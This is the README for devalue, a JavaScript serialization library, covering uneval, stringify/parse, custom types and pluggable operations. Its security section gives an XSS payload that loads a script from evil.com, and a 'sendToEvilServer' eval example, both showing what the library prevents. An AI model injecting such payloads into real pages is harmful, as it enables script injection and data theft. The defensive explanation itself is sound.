Like JSON.stringify, but handles
obj.self = obj)[value, value])undefined, Infinity, NaN, -0Map and SetBigIntArrayBuffer and Typed ArraysURL and URLSearchParamsTemporalstringifyAsync)Try it out here.
devalue.stringify with one version and devalue.parse with another, things may break)There are two ways to use devalue:
unevalThis function takes a JavaScript value and returns the JavaScript code to create an equivalent value — sort of like eval in reverse:
import * as devalue from 'devalue';
let obj = { message: 'hello' };
devalue.uneval(obj); // '{message:"hello"}'
obj.self = obj;
devalue.uneval(obj); // '(function(a){a.message="hello";a.self=a;return a}({}))'
Use uneval when you want the most compact possible output and don't want to include any code for parsing the serialized value.
stringify and parseThese two functions are analogous to JSON.stringify and JSON.parse:
import * as devalue from 'devalue';
let obj = { message: 'hello' };
let stringified = devalue.stringify(obj); // '[{"message":1},"hello"]'
devalue.parse(stringified); // { message: 'hello' }
obj.self = obj;
stringified = devalue.stringify(obj); // '[{"message":1,"self":0},"hello"]'
devalue.parse(stringified); // { message: 'hello', self: [Circular] }
Use stringify and parse when evaluating JavaScript isn't an option.
stringifyAsyncstringifyAsync is an async version of stringify that can handle promises:
import * as devalue from 'devalue';
let obj = {
quick: 'data',
slow: fetch('/api/slow').then((r) => r.json())
};
let stringified = await devalue.stringifyAsync(obj);
devalue.parse(stringified); // { quick: 'data', slow: { ... } }
Promises are awaited and their resolved values are serialized. The output format is identical to stringify, so parse and unflatten work unchanged.
unflattenIn the case where devalued data is one part of a larger JSON string, unflatten allows you to revive just the bit you need:
import * as devalue from 'devalue';
const json = `{
"type": "data",
"data": ${devalue.stringify(data)}
}`;
const data = devalue.unflatten(JSON.parse(json).data);
You can serialize and deserialize custom types by passing a second argument to stringify containing an object of types and their reducers, and a second argument to parse or unflatten containing an object of types and their revivers:
class Vector {
constructor(x, y) {
this.x = x;
this.y = y;
}
magnitude() {
return Math.sqrt(this.x * this.x + this.y * this.y);
}
}
const stringified = devalue.stringify(new Vector(30, 40), {
Vector: (value) => value instanceof Vector && [value.x, value.y]
});
console.log(stringified); // [["Vector",1],[2,3],30,40]
const vector = devalue.parse(stringified, {
Vector: ([x, y]) => new Vector(x, y)
});
console.log(vector.magnitude()); // 50
If a function passed to stringify returns a truthy value, it's treated as a match.
You can also use custom types with uneval by specifying a custom replacer:
devalue.uneval(vector, (value, uneval) => {
if (value instanceof Vector) {
return `new Vector(${value.x},${value.y})`;
}
}); // `new Vector(30,40)`
Note that any variables referenced in the resulting JavaScript (like Vector in the example above) must be in scope when it runs.
Every introspection stringify performs on the value being serialized — property reads, prototype method calls, iteration, type classification — goes through an operations interface that you can override via the operations option. Omitted members fall back to the defaults (exported as defaultStringifyOperations), which behave exactly as devalue always has.
This is useful in two situations:
Side-effect-free serialization. By default, serializing a value can execute user code: getters and proxy traps fire during property reads, Object.prototype.toString consults (potentially getter-defined) Symbol.toStringTag, and patched prototype methods like Date.prototype.toISOString or Map.prototype[Symbol.iterator] are invoked. Deterministic or sandboxed runtimes can replace these operations with implementations based on captured intrinsics and property descriptors:
const originalToISOString = Date.prototype.toISOString;
const stringified = devalue.stringify(value, undefined, {
operations: {
// use a captured intrinsic instead of a (possibly patched) prototype method
toISOString: (date) => originalToISOString.call(date),
// read through descriptors so getters are never invoked
get: (object, key) => {
const descriptor = Object.getOwnPropertyDescriptor(object, key);
if (descriptor?.get) throw new Error(`refusing to invoke getter for "${key}"`);
return descriptor?.value;
}
}
});
Foreign-runtime serialization. The stringify algorithm never touches the value directly, so "value" can be an opaque handle to something living in another JavaScript runtime — a node:vm context, a WASM-hosted engine, a remote process — as long as the operations know how to inspect it. Implement typeOf/tagOf for classification, toPrimitive/get/entriesOf/etc. for extraction, and identify to key deduplication and cycle detection on the underlying value's identity rather than the handle's:
const stringified = devalue.stringify(rootHandle, undefined, {
operations: {
identify: (handle) => handle.pointer,
typeOf: (handle) => handle.typeOf(),
get: (handle, key) => handle.getProperty(key)
// ... see StringifyOperations for the full interface
}
});
Some operations have a non-obvious contract that is easy to get subtly wrong. Where the work is not specific to your values, devalue exports the pieces so you don't have to reimplement them — filterArrayIndices does the array-index filtering that indicesOf needs, given keys you already have:
indicesOf: (handle) => devalue.filterArrayIndices(handle.ownEnumerableStringKeys())
Reducers compose with custom operations: they receive the raw value/handle, and whatever they return is serialized through the same operations.
parseThe mirror image: parse and unflatten build every value through construction operations (ParseOperations, defaults exported as defaultParseOperations), so you can control what gets created. The members mirror StringifyOperations with the host/value-space boundary running the other way: each fromXxx inverts the corresponding toXxx, fromXxxInfo inverts xxxInfo, and the bare-verb mutators invert the bare-verb accessors (set/get, addValue/valuesOf, addEntry/entriesOf, box/unbox).
Cross-realm revival. By default the revived value is built from the intrinsics of whichever realm devalue is running in, so instanceof checks fail elsewhere. Constructing from a target realm's intrinsics fixes that:
const revived = devalue.parse(serialized, undefined, {
operations: {
fromISOString: (iso) => new sandbox.Date(iso),
createMap: () => new sandbox.Map(),
createObject: () => sandbox.makeObject()
}
});
Foreign-runtime revival. parse never inspects the values it creates — it only passes them back into other operations — so the operations can build values inside another runtime and return opaque handles:
const rootHandle = devalue.parse(serialized, undefined, {
operations: {
fromPrimitive: (primitive) => vm.toHandle(primitive),
createObject: () => vm.newObject(),
set: (handle, key, value) => handle.setProp(key, value)
// ... see ParseOperations for the full interface
}
});
Containers are created empty and populated afterwards (createMap then addEntry, createObject then set, and so on) — that ordering is what allows cyclic values to be revived, since the empty container is cached before its contents are built.
Revivers compose the same way reducers do: they receive whatever the operations built, and their return value is used as-is.
If uneval or stringify encounters a function or a non-POJO that isn't handled by a custom replacer/reducer, it will throw an error. You can find where in the input data the offending value lives by inspecting error.path:
try {
const map = new Map();
map.set('key', function invalid() {});
uneval({
object: {
array: [map]
}
});
} catch (e) {
console.log(e.path); // '.object.array[0].get("key")'
}
Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:
const state = {
userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};
const template = `
<script>
// NEVER DO THIS
var preloaded = ${JSON.stringify(state)};
</script>`;
Which would result in this:
<script>
// NEVER DO THIS
var preloaded = {"userinput":"
</script>
<script src="https://evil.com/mwahaha.js">
"};
</script>
Using uneval or stringify, we're protected against that attack:
const template = `
<script>
var preloaded = ${uneval(state)};
</script>`;
<script>
var preloaded = {
userinput:
"\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
};
</script>
This, along with the fact that uneval and stringify bail on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by uneval can be safely deserialized with eval or new Function:
const value = (0, eval)('(' + str + ')');
While uneval prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed uneval would have access to your system.
When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:
{
const sensitiveData = 'Setec Astronomy';
eval('sendToEvilServer(sensitiveData)'); // pwned :(
(0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}
Using new Function(code) is akin to using indirect eval.
stringify/parse approach in devalue was inspired by arsonFlatted is a package similar to devalue that can serialize and deserialize JavaScript objects with circular references using a flat structure. Unlike devalue, Flatted uses a JSON-compatible format and focuses specifically on circular data structures.
Serialize-javascript is another package that offers serialization of JavaScript objects into a string, including regular expressions, dates, and functions. It is similar to devalue but does not handle circular references as gracefully.
FAQs
Gets the job done when JSON.stringify can't
The npm package devalue receives a total of 10,836,086 weekly downloads. As such, devalue popularity was classified as popular.
We found that devalue demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 2 open source maintainers collaborating on the project.
Security News
Open VSX has removed three extension IDs from its malicious-extension list as the legitimate publishers they impersonated move to claim the names for themselves.
Product
Socket’s PHP and Composer support is now in Beta for all customers, with PHP reachability analysis generally available.
Product
Socket is bringing experimental protection to Firefox, scanning 97,000+ extensions in Mozilla's official directory for malware and risky updates.